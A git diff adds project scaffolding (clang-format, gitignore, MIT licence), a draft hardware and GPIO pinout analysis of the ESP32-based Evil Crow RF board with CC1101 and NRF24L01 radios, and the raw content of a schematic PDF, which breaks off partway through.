diff --git a/.clang-format b/.clang-format new file mode 100644 index 0000000..647eda2 --- /dev/null +++ b/.clang-format @@ -0,0 +1,30 @@ +Language: Cpp +BasedOnStyle: Google +IndentWidth: 4 +UseTab: Never +TabWidth: 8 +ColumnLimit: 180 +PointerAlignment: Right +AccessModifierOffset: -2 +BreakBeforeBraces: Custom +BraceWrapping: + AfterEnum: true + AfterStruct: true + AfterClass: true + SplitEmptyFunction: true + AfterControlStatement: false + AfterNamespace: false + AfterFunction: true + AfterUnion: true + AfterExternBlock: false + BeforeCatch: false + BeforeElse: false + SplitEmptyRecord: true + SplitEmptyNamespace: true +DerivePointerAlignment: true +AllowShortFunctionsOnASingleLine: Empty +AllowShortIfStatementsOnASingleLine: false +AllowShortLoopsOnASingleLine: true +AllowShortBlocksOnASingleLine: false +AlwaysBreakAfterDefinitionReturnType: None +AlwaysBreakTemplateDeclarations: true \ No newline at end of file diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..5227187 --- /dev/null +++ b/.gitignore @@ -0,0 +1,11 @@ +.pio +.vscode +.venv +.pio_core +.idea +.cursor +.github +logs/ +releases/ +personal_docs/ +*.7z \ No newline at end of file diff --git a/LICENSE b/LICENSE new file mode 100644 index 0000000..7b0ca2d --- /dev/null +++ b/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025-2026 Senape3000 + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. \ No newline at end of file diff --git a/docs/schematics/README.md b/docs/schematics/README.md new file mode 100644 index 0000000..d899fc2 --- /dev/null +++ b/docs/schematics/README.md @@ -0,0 +1,130 @@ +# --- + +**Evil Crow RF V2: Hardware Analysis & Pinout Report** + +*(based on: Schematic\_EvilCrow\_RF\_V4\_2021-12-14.pdf)* + +## **1\. Core Architecture** + +* **MCU:** ESP32-PICO-D4 (System-in-Package). + + * Dual-core Xtensa LX6, 240MHz. + * Integrated 4MB SPI Flash. + * Crystal: 40MHz. +* **Programming Interface:** USB-to-UART via **CH340C** (U4). + * Auto-reset circuit (Q1) uses DTR/RTS to toggle EN/IO0 for automatic flashing. + +## **2\. Power Management System** + +The power analysis in the original PDF contained a component identification error regarding the MOSFET. + +* **Primary Regulation:** **BL9110-330BPFB** (U6). LDO Regulator providing 3.3V system rail. + +* **Battery Charging:** **HP4054** (U5). Linear Li-Ion charger. + * Charge Current: Configured via R10. Schematic shows options for 500mA or 1A. + * Charging Status LED (Orange): Connected to U5 STAT pin. + +* **Battery Monitoring:** + * The voltage divider consists of **R14 (100kΞ©)** and **R15 (220kΞ©)**. + * **Topology:** GND \--- R14(100k) \--- GPIO36(VP) \--- R15(220k) \--- VBAT. + * **Scaling Factor:** Ratio as 3.2 ($(220+100)/100$). + * **Pin:** **GPIO36 (ADC1\_CH0)** (Input Only). + +* **SD Card Power Switching:** + * **Component:** **Q2** (AO3401 P-Channel MOSFET). + * **Function:** Controls the VDD\_SDIO rail. + * **Logic:** Controlled by a GPIO (Net label "CS") to hard-reset the SD card logic by cutting power. + +## **3\. Storage Interface (SDIO)** + +The V4 Schematic utilizes the high-speed SDIO interface, which requires specific GPIOs. + +* **Mode:** 4-bit SDIO. +* **Pinout:** + * **CLK:** GPIO14 + * **CMD:** GPIO15 + * **D0:** GPIO2 + * **D1:** GPIO4 + * **D2:** GPIO12 + * **D3:** GPIO13 + +* **Conflict Warning:** The config.h attempts to assign RF modules to GPIOs 2, 4, 12, and 13\. This is **physically impossible** on the V4 hardware if the SD card is in use, as these lines are physically wired to the SD slot. + +## **4\. RF Module Configuration** + +The board features three RF modules sharing a common SPI bus but utilizing separate Control/Chip Select lines. + +### **Shared Bus (VSPI)** + +According to Schematic V4 traces (Net labels SCK2, MISO2, MOSI2): + +* **SCK:** GPIO18 +* **MISO:** GPIO19 +* **MOSI:** GPIO23 + +### **Module 1: CC1101 (U2 \- 433MHz)** + +* **Function:** Sub-GHz Transceiver. +* **Chip Select (CS\_A):** Likely **GPIO 5** (based on exclusion, though config.h assigns 5 to SS0, verify strictly as GPIO5 is usually Input Only on some dev boards, but valid output on ESP32 chip). + * *Correction:* config.h lists CC1101\_SS0 5\. However, GPIO 5 is also used for VSPI CS on standard mappings. +* **GDO0 / GDO2:** Must be mapped to available inputs (e.g., GPIO 34, 35\) or free GPIOs (25, 26, 27\) if not used by Module 2\. + +### **Module 2: CC1101 (U3 \- 433MHz)** + +* **Function:** Sub-GHz Transceiver (Diversity/RX/TX). +* **Chip Select (CS\_B):** Likely **GPIO 27** (matches config.h CC1101\_SS1). +* **GDO Pins:** config.h suggests GPIO 25 and 26, which are free on the schematic. + +### **Module 3: NRF24L01 (U7 \- 2.4GHz)** + +* **Function:** 2.4GHz ISM (MouseJack/KeyJack). +* **Chip Select (CSN):** Likely **GPIO 15** (per config.h NRF\_CSN 15), BUT GPIO 15 is hardwired to **SD\_CMD** in the schematic. + * *Hardware Conflict:* If NRF CSN is physically on 15, it conflicts with SD Card operation. + +## **5\. User Interface & GPIO Summary** + +### **Buttons** + +* **RESET (SW2):** Connected to **EN** (Chip Enable). Hardware reset. +* **BOOT (SW1):** Connected to **GPIO0**. Used for flashing mode or user input. +* **User Buttons:** The config.h defines BUTTON1 34 and BUTTON2 35\. + * **Schematic Verification:** GPIO 34 and 35 are "Input Only" pins exposed on the header/layout. These match the schematic capabilities. + +### **LEDs** + +* **LED1 (Red):** Power Indicator (Always ON via resistor to VCC). + +* **LED2 (Orange):** Charge Indicator (Controlled by U5). +* **User LED:** config.h defines LED 32\. GPIO 32 is available on the ESP32 and likely routed to a discrete LED or header. + +## **6\. Corrected GPIO Mapping Table (V4)** + +| Component | Function | GPIO Pin | Note | +| :---- | :---- | :---- | :---- | +| **SD Card** | CLK | **14** | SDIO 4-Bit | +| **SD Card** | CMD | **15** | SDIO 4-Bit | +| **SD Card** | D0 | **2** | SDIO 4-Bit | +| **SD Card** | D1 | **4** | SDIO 4-Bit | +| **SD Card** | D2 | **12** | SDIO 4-Bit | +| **SD Card** | D3 | **13** | SDIO 4-Bit | +| **RF Bus** | SCK | **18** | VSPI | +| **RF Bus** | MISO | **19** | VSPI | +| **RF Bus** | MOSI | **23** | VSPI | +| **Battery** | Monitor | **36** | Divider 100k/220k | +| **User** | Button 1 | **34** | Input Only | +| **User** | Button 2 | **35** | Input Only | +| **User** | LED | **32** | Output | +| **System** | UART TX | **1** | Console | +| **System** | UART RX | **3** | Console | + +**Unassigned / Configurable (RF Control Lines):** + +* **GPIO 5:** Likely CC1101 CS (Module A). +* **GPIO 27:** Likely CC1101 CS (Module B). +* **GPIO 25:** Available (Likely GDO). +* **GPIO 26:** Available (Likely GDO). +* **GPIO 33:** Available. +* **GPIO 21:** Available. +* **GPIO 22:** Available. + +#### ***This analysis is a draft\!\!\! We need willing people to improve it.*** \ No newline at end of file diff --git a/docs/schematics/Schematic_EvilCrow_RF_V4_2021-12-14.pdf b/docs/schematics/Schematic_EvilCrow_RF_V4_2021-12-14.pdf new file mode 100644 index 0000000..6d60be7 --- /dev/null +++ b/docs/schematics/Schematic_EvilCrow_RF_V4_2021-12-14.pdf @@ -0,0 +1,12620 @@ +%PDF-1.4 +%Ίί¬ΰ +3 0 obj +<> +endobj +4 0 obj +<< +/Length 136237 +>> +stream +0.20 w +0 G +2 J +0 j +100 M +1.00 g +[] 0 d +0.00 1170.00 1652.00 -1170.00 re +f +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +216.000 1149.500 m +216.000 1159.500 l +216.000 20.500 m +216.000 10.500 l +412.000 1149.500 m +412.000 1159.500 l +412.000 20.500 m +412.000 10.500 l +608.000 1149.500 m +608.000 1159.500 l +608.000 20.500 m +608.000 10.500 l +804.000 1149.500 m +804.000 1159.500 l +804.000 20.500 m +804.000 10.500 l +1000.000 1149.500 m +1000.000 1159.500 l +1000.000 20.500 m +1000.000 10.500 l +1196.000 1149.500 m +1196.000 1159.500 l +1196.000 20.500 m +1196.000 10.500 l +1392.000 1149.500 m +1392.000 1159.500 l +1392.000 20.500 m +1392.000 10.500 l +1588.000 1149.500 m +1588.000 1159.500 l +1588.000 20.500 m +1588.000 10.500 l +20.000 953.500 m +10.000 953.500 l +1632.000 953.500 m +1642.000 953.500 l +20.000 757.500 m +10.000 757.500 l +1632.000 757.500 m +1642.000 757.500 l +20.000 561.500 m +10.000 561.500 l +1632.000 561.500 m +1642.000 561.500 l +20.000 365.500 m +10.000 365.500 l +1632.000 365.500 m +1642.000 365.500 l +20.000 169.500 m +10.000 169.500 l +1632.000 169.500 m +1642.000 169.500 l +S +10.00 w +BT +/F1 9 Tf +9.00 TL +0.533 0.000 0.000 rg +11.50 1051.50 Td +(A) Tj +ET +10.00 w +BT +/F1 9 Tf +9.00 TL +0.533 0.000 0.000 rg +1633.50 1051.50 Td +(A) Tj +ET +10.00 w +BT +/F1 9 Tf +9.00 TL +0.533 0.000 0.000 rg +11.50 855.50 Td +(B) Tj +ET +10.00 w +BT +/F1 9 Tf +9.00 TL +0.533 0.000 0.000 rg +1633.50 855.50 Td +(B) Tj +ET +10.00 w +BT +/F1 9 Tf +9.00 TL +0.533 0.000 0.000 rg +11.50 659.50 Td +(C) Tj +ET +10.00 w +BT +/F1 9 Tf +9.00 TL +0.533 0.000 0.000 rg +1633.50 659.50 Td +(C) Tj +ET +10.00 w +BT +/F1 9 Tf +9.00 TL +0.533 0.000 0.000 rg +11.50 463.50 Td +(D) Tj +ET +10.00 w +BT +/F1 9 Tf +9.00 TL +0.533 0.000 0.000 rg +1633.50 463.50 Td +(D) Tj +ET +10.00 w +BT +/F1 9 Tf +9.00 TL +0.533 0.000 0.000 rg +11.50 267.50 Td +(E) Tj +ET +10.00 w +BT +/F1 9 Tf +9.00 TL +0.533 0.000 0.000 rg +1633.50 267.50 Td +(E) Tj +ET +10.00 w +BT +/F1 9 Tf +9.00 TL +0.533 0.000 0.000 rg +118.00 1151.00 Td +(1) Tj +ET +10.00 w +BT +/F1 9 Tf +9.00 TL +0.533 0.000 0.000 rg +118.00 12.00 Td +(1) Tj +ET +10.00 w +BT +/F1 9 Tf +9.00 TL +0.533 0.000 0.000 rg +314.00 1151.00 Td +(2) Tj +ET +10.00 w +BT +/F1 9 Tf +9.00 TL +0.533 0.000 0.000 rg +314.00 12.00 Td +(2) Tj +ET +10.00 w +BT +/F1 9 Tf +9.00 TL +0.533 0.000 0.000 rg +510.00 1151.00 Td +(3) Tj +ET +10.00 w +BT +/F1 9 Tf +9.00 TL +0.533 0.000 0.000 rg +510.00 12.00 Td +(3) Tj +ET +10.00 w +BT +/F1 9 Tf +9.00 TL +0.533 0.000 0.000 rg +706.00 1151.00 Td +(4) Tj +ET +10.00 w +BT +/F1 9 Tf +9.00 TL +0.533 0.000 0.000 rg +706.00 12.00 Td +(4) Tj +ET +10.00 w +BT +/F1 9 Tf +9.00 TL +0.533 0.000 0.000 rg +902.00 1151.00 Td +(5) Tj +ET +10.00 w +BT +/F1 9 Tf +9.00 TL +0.533 0.000 0.000 rg +902.00 12.00 Td +(5) Tj +ET +10.00 w +BT +/F1 9 Tf +9.00 TL +0.533 0.000 0.000 rg +1098.00 1151.00 Td +(6) Tj +ET +10.00 w +BT +/F1 9 Tf +9.00 TL +0.533 0.000 0.000 rg +1098.00 12.00 Td +(6) Tj +ET +10.00 w +BT +/F1 9 Tf +9.00 TL +0.533 0.000 0.000 rg +1294.00 1151.00 Td +(7) Tj +ET +10.00 w +BT +/F1 9 Tf +9.00 TL +0.533 0.000 0.000 rg +1294.00 12.00 Td +(7) Tj +ET +10.00 w +BT +/F1 9 Tf +9.00 TL +0.533 0.000 0.000 rg +1490.00 1151.00 Td +(8) Tj +ET +10.00 w +BT +/F1 9 Tf +9.00 TL +0.533 0.000 0.000 rg +1490.00 12.00 Td +(8) Tj +ET +2 J +0 j +100 M +1.00 w +0.53 0.00 0.00 RG +[] 0 d +20.00 1149.50 1612.00 -1129.00 re +S +2 J +0 j +100 M +1.00 w +0.53 0.00 0.00 RG +[] 0 d +10.00 1159.50 1632.00 -1149.00 re +S +2 J +0 j +100 M +1.00 w +0.53 0.00 0.00 RG +[] 0 d +1188.00 100.50 444.00 -80.00 re +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +1188.100 61.250 m +1631.630 61.250 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +1292.630 41.250 m +1631.630 41.250 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +1552.610 100.430 m +1552.630 61.250 l +S +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +1552.630 61.250 m +1552.630 41.250 l +S +10.00 w +BT +/F1 11 Tf +11.00 TL +0.533 0.000 0.000 rg +1193.00 87.50 Td +(TITLE:) Tj +ET +10.00 w +BT +/F1 13 Tf +13.00 TL +0.533 0.000 0.000 rg +1300.00 78.50 Td +(EvilCrow_RF_V3) Tj +ET +10.00 w +BT +/F1 11 Tf +11.00 TL +0.533 0.000 0.000 rg +1557.62 74.25 Td +(REV:) Tj +ET +10.00 w +BT +/F1 12 Tf +12.00 TL +0.533 0.000 0.000 rg +1595.62 74.25 Td +(1.1) Tj +ET +10.00 w +BT +/F1 11 Tf +11.00 TL +0.533 0.000 0.000 rg +1297.62 25.50 Td +(Date:) Tj +ET +10.00 w +BT +/F1 12 Tf +12.00 TL +0.533 0.000 0.000 rg +1344.62 25.02 Td +(2021-07-27) Tj +ET +10.00 w +BT +/F1 11 Tf +11.00 TL +0.533 0.000 0.000 rg +1556.62 45.50 Td +(Sheet:) Tj +ET +10.00 w +BT +/F1 12 Tf +12.00 TL +0.533 0.000 0.000 rg +1601.62 45.02 Td +(1/1) Tj +ET +10.00 w +BT +/F1 11 Tf +11.00 TL +0.533 0.000 0.000 rg +1436.62 25.25 Td +(Drawn By:) Tj +ET +10.00 w +BT +/F1 12 Tf +12.00 TL +0.533 0.000 0.000 rg +1501.63 25.25 Td +(longhun26) Tj +ET +10.00 w +BT +/F1 11 Tf +11.00 TL +0.533 0.000 0.000 rg +1297.62 47.25 Td +(Company:) Tj +ET +10.00 w +BT +/F1 9 Tf +9.00 TL +0.533 0.000 0.000 rg +1364.25 47.14 Td +(Beijing April Brother Technology Co., Ltd.) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +0.00 g +[] 0 d +1292.630 61.250 m +1292.630 21.250 l +S +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +400.01 965.25 Td +(ESP32-PICO-D4) Tj +ET +10.00 w +BT +/F2 9 Tf +9.00 TL +0.000 0.000 0.502 rg +379.04 965.25 Td +(U1) Tj +ET +2 J +0 j +100 M +1.00 w +0.53 0.00 0.00 RG +[] 0 d +352.000 963.500 m +508.000 963.500 l +509.105 963.500 510.000 962.605 510.000 961.500 c +510.000 705.500 l +510.000 704.395 508.895 703.500 508.000 703.500 c +352.000 703.500 l +350.895 703.500 350.000 704.605 350.000 705.500 c +350.000 961.500 l +350.000 962.605 351.105 963.500 352.000 963.500 c +S +1.00 w +0.53 0.00 0.00 RG +0.53 0.00 0.00 rg +[] 0 d +356.50 958.50 m 356.50 959.33 355.83 960.00 355.00 960.00 c +354.17 960.00 353.50 959.33 353.50 958.50 c +353.50 957.67 354.17 957.00 355.00 957.00 c +355.83 957.00 356.50 957.67 356.50 958.50 c +B +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +353.70 939.50 Td +(VDDA) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +343.79 944.50 Td +(1) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +340.000 943.500 m +350.000 943.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +353.70 929.50 Td +(LNA_IN) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +343.79 934.50 Td +(2) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +340.000 933.500 m +350.000 933.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +353.70 919.50 Td +(VDDA3P3) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +343.79 924.50 Td +(3) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +340.000 923.500 m +350.000 923.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +353.70 909.50 Td +(VDDA3P3) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +343.79 914.50 Td +(4) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +340.000 913.500 m +350.000 913.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +353.70 899.50 Td +(SENSOR_VP) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +343.79 904.50 Td +(5) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +340.000 903.500 m +350.000 903.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +353.70 889.50 Td +(SENSOR_CAPP) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +343.79 894.50 Td +(6) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +340.000 893.500 m +350.000 893.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +353.70 879.50 Td +(SENSOR_CAPN) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +343.79 884.50 Td +(7) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +340.000 883.500 m +350.000 883.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +353.70 869.50 Td +(SENSOR_VN) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +343.79 874.50 Td +(8) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +340.000 873.500 m +350.000 873.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +353.70 859.50 Td +(EN) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +343.79 864.50 Td +(9) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +340.000 863.500 m +350.000 863.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +353.70 849.50 Td +(IO34) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +338.07 854.50 Td +(10) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +340.000 853.500 m +350.000 853.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +353.70 839.50 Td +(IO35) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +338.07 844.50 Td +(11) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +340.000 843.500 m +350.000 843.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +353.70 829.50 Td +(IO32) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +338.07 834.50 Td +(12) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +340.000 833.500 m +350.000 833.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +353.70 819.50 Td +(IO33) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +338.07 824.50 Td +(13) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +340.000 823.500 m +350.000 823.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +353.70 809.50 Td +(IO25) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +338.07 814.50 Td +(14) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +340.000 813.500 m +350.000 813.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +353.70 799.50 Td +(IO26) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +338.07 804.50 Td +(15) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +340.000 803.500 m +350.000 803.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +353.70 789.50 Td +(IO27) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +338.07 794.50 Td +(16) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +340.000 793.500 m +350.000 793.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +353.70 779.50 Td +(IO14) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +338.07 784.50 Td +(17) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +340.000 783.500 m +350.000 783.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +353.70 769.50 Td +(IO12) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +338.07 774.50 Td +(18) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +340.000 773.500 m +350.000 773.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +353.70 759.50 Td +(VDD3P3_RTC) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +338.07 764.50 Td +(19) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +340.000 763.500 m +350.000 763.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +353.70 749.50 Td +(IO13) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +338.07 754.50 Td +(20) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +340.000 753.500 m +350.000 753.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +353.70 739.50 Td +(IO15) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +338.07 744.50 Td +(21) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +340.000 743.500 m +350.000 743.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +353.70 729.50 Td +(IO2) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +338.07 734.50 Td +(22) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +340.000 733.500 m +350.000 733.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +353.70 719.50 Td +(IO0) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +338.07 724.50 Td +(23) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +340.000 723.500 m +350.000 723.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +353.70 709.50 Td +(IO4) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +338.07 714.50 Td +(24) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +340.000 713.500 m +350.000 713.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +484.01 709.50 Td +(IO16) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +510.50 714.50 Td +(25) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +520.000 713.500 m +510.000 713.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +456.64 719.50 Td +(VDD_SDIO) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +510.50 724.50 Td +(26) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +520.000 723.500 m +510.000 723.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +484.01 729.50 Td +(IO17) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +510.50 734.50 Td +(27) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +520.000 733.500 m +510.000 733.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +487.51 739.50 Td +(SD2) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +510.50 744.50 Td +(28) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +520.000 743.500 m +510.000 743.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +487.51 749.50 Td +(SD3) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +510.50 754.50 Td +(29) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +520.000 753.500 m +510.000 753.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +485.51 759.50 Td +(CMD) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +510.50 764.50 Td +(30) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +520.000 763.500 m +510.000 763.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +488.79 769.50 Td +(CLK) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +510.50 774.50 Td +(31) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +520.000 773.500 m +510.000 773.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +487.51 779.50 Td +(SD0) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +510.50 784.50 Td +(32) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +520.000 783.500 m +510.000 783.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +487.51 789.50 Td +(SD1) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +510.50 794.50 Td +(33) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +520.000 793.500 m +510.000 793.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +489.72 799.50 Td +(IO5) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +510.50 804.50 Td +(34) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +520.000 803.500 m +510.000 803.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +484.01 809.50 Td +(IO18) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +510.50 814.50 Td +(35) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +520.000 813.500 m +510.000 813.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +484.01 819.50 Td +(IO23) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +510.50 824.50 Td +(36) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +520.000 823.500 m +510.000 823.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +445.43 829.50 Td +(VDD3P3_CPU) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +510.50 834.50 Td +(37) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +520.000 833.500 m +510.000 833.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +484.01 839.50 Td +(IO19) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +510.50 844.50 Td +(38) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +520.000 843.500 m +510.000 843.500 l +S +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +484.01 849.50 Td +(IO22) Tj +ET +BT +/F1 9 Tf +9.00 TL +0.000 0.000 1.000 rg +510.50 854.50 Td +(39) Tj +ET +1 J +1 j +1.00 w +0.53 0.00 0.00 RG +[] 0 d +520.000 853.500 m +510.000 853.500 l +S +BT +/F1 